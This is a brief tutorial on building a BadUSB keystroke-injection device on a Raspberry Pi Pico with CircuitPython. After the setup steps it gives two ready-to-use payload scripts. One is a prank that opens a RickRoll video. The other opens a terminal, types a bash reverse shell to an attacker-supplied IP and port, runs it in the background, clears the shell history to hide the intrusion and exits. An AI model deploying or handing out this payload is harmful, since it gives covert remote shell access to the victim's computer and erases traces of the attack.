

BadUSB on Raspberry Pi Pico

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Install CircuitPython on Raspberry Pi Pico

Download the latest CircuitPython `.uf2` file for Raspberry Pi Pico from the CircuitPython website.

Connect the Raspberry Pi Pico to your computer while holding down the BOOTSEL button to enter USB mass storage mode. Drag and drop the `.uf2` file onto the Pico's storage.

It will reboot and appear as a CircuitPython device.

Download CircuitPython HID library

Go to the Adafruit CircuitPython Bundle and download the latest `.zip` file.

Extract the `.zip` file and copy the `adafruit_hid` library folder to the `lib` folder on the Pico's CIRCUITPY drive.

Create a code.py file

This file will contain the script to emulate HID actions.



lib

1 item

26 Jun 2024



code.py

506 bytes

Today 19:09

Simple script that opens RickRoll:

```
import time
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keycode import Keycode
from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS

kbd = Keyboard(usb_hid.devices)
layout = KeyboardLayoutUS(kbd)

time.sleep(1)

kbd.send(Keycode.WINDOWS)
kbd.release_all()
layout.write("ter")

time.sleep(1)

kbd.send(Keycode.ENTER)
kbd.release_all()

time.sleep(1)

layout.write("xdg-open https://www.youtube.com/watch?v=dQw4w9WgXcQ")

kbd.send(Keycode.ENTER)
kbd.release_all()
```

Reverse Shell:

```
import time
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keycode import Keycode
from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS

kbd = Keyboard(usb_hid.devices)
layout = KeyboardLayoutUS(kbd)

time.sleep(1)

kbd.press(Keycode.CONTROL, Keycode.ALT)
kbd.press(Keycode.T)
kbd.release_all()
time.sleep(1)

reverse_shell_command = 'bash -c "bash -i >& /dev/tcp/<your-ip>/<your-port> 0>&1 & disown"'
layout.write(f'{reverse_shell_command}' + '\n')

layout.write('history -c\n')
kbd.press(Keycode.ENTER)
kbd.release_all()

layout.write('exit\n')
```